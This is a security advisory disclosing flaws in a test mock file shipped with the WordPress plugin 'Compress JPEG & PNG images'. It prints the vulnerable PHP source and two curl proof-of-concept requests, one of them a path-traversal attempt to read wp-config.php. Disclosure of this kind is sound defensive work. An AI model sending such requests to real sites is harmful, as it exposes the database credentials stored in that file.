Compress JPEG & PNG images [Multiple Vulnerabilities]

Description

Compress JPEG & PNG images plugin includes in production release a tiny-compress-images/test/mock-tinypng-webservice/output.php file which it is used in unit testing. This file actually mocks a resize request for testing purposes and has no meaning in a production environment.

This file is vulnerable to Object Injection as it reads and JSON decodes php://input, allowing arbitrary object properties to be passed into the decoded object. Response Header Manipulation is also possible because of this.

It also defines file to send back to client by reading $_SERVER['REQUEST_URI'] var. In some cases this may be exploitable by using relative paths and the null pointer, making the script vulnerable to Local File Inclusion. As this script replaces all occurrences of / char with - in the file name, an attack could still be possible in Windows machines using \ char (not verified).

Please note that no obvious attack method is found to be successful, but leaving holes like these ones is considered bad practice.

PoC

Object Injection and Response Header Manipulation

The only headers that can be manipulated are Image-Width and Image-Height and they come from resize.width and resise.height values respectively.

CURL -d '{"resize":{"method":true,"height":"500","width":"500"}}' \
    -H 'Authorization: Basic SlBHMTIz' \
    'http://wp.dev/wp-content/plugins/tiny-compress-images/test/mock-tinypng-webservice/output.php/output/example.png'

Local File Inclusion

This attack is untested and generally it may work in very specific cases.

CURL -H 'Authorization: Basic SlBHMTIz' \
    'http://wp.dev/wp-content/plugins/tiny-compress-images/test/mock-tinypng-webservice/output.php/output/.\..\..\..\..\..\..\wp-config.php%00.png'

Vulnerable Code

File: tiny-compress-images/test/mock-tinypng-webservice/output.php

<?php
ob_start();

require_once('common.php');

if (preg_match('#output/.+[.](png|jpg)$#', $_SERVER['REQUEST_URI'], $match)) {
    $file = str_replace('/', '-', $match[0]);
    $ext = $match[1];
    $mime = $match[1] == 'jpg' ? 'image/jpeg' : "image/$ext";
} else {
    $file = null;
}

$api_key = get_api_key();
if (!is_null($api_key)) {
    $data = get_json_body();
    if (is_null($data) || $api_key != 'JPG123') {
        mock_invalid_response();
        ob_end_flush();
        exit();
    }

    $resize = $data->resize;
    if ($resize->method) {
        $file = "output-resized.$ext";
        header("Image-Width: {$resize->width}");
        header("Image-Height: {$resize->height}");
    }
}

if ($file && file_exists($file)) {
    header("Content-Type: $mime");
    header('Content-Disposition: attachment');
    readfile($file);
} else {
    header("HTTP/1.1 404 Not Found");
}

ob_end_flush();

File: tiny-compress-images/test/mock-tinypng-webservice/common.php

<?php

define('SESSION_FILE', '/tmp/session.dat');

if (file_exists(SESSION_FILE)) {
    $session = unserialize(file_get_contents(SESSION_FILE));
} else {
    $session = array('Compression-Count' => 0);
}

function save_session() {
    global $session;
    if ($session) {
        file_put_contents(SESSION_FILE, serialize($session));
    } elseif (file_exists(SESSION_FILE)) {
        unlink(SESSION_FILE);
    }
}
register_shutdown_function('save_session');

function get_api_key() {
    $request_headers = apache_request_headers();
    if (!isset($request_headers['Authorization'])) {
        return null;
    }
    $basic_auth = base64_decode(str_replace('Basic ', '', $request_headers['Authorization']));
    return next(explode(':', $basic_auth));
}

function get_json_body() {
    return json_decode(file_get_contents("php://input"));
}

function mock_invalid_response() {
    global $session;

    header('HTTP/1.1 401 Unauthorized');
    header("Content-Type: application/json; charset=utf-8");

    $response = array(
        "error" => "Unauthorized",
        "message" => "Credentials are invalid"
    );
    return json_encode($response);
}


INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX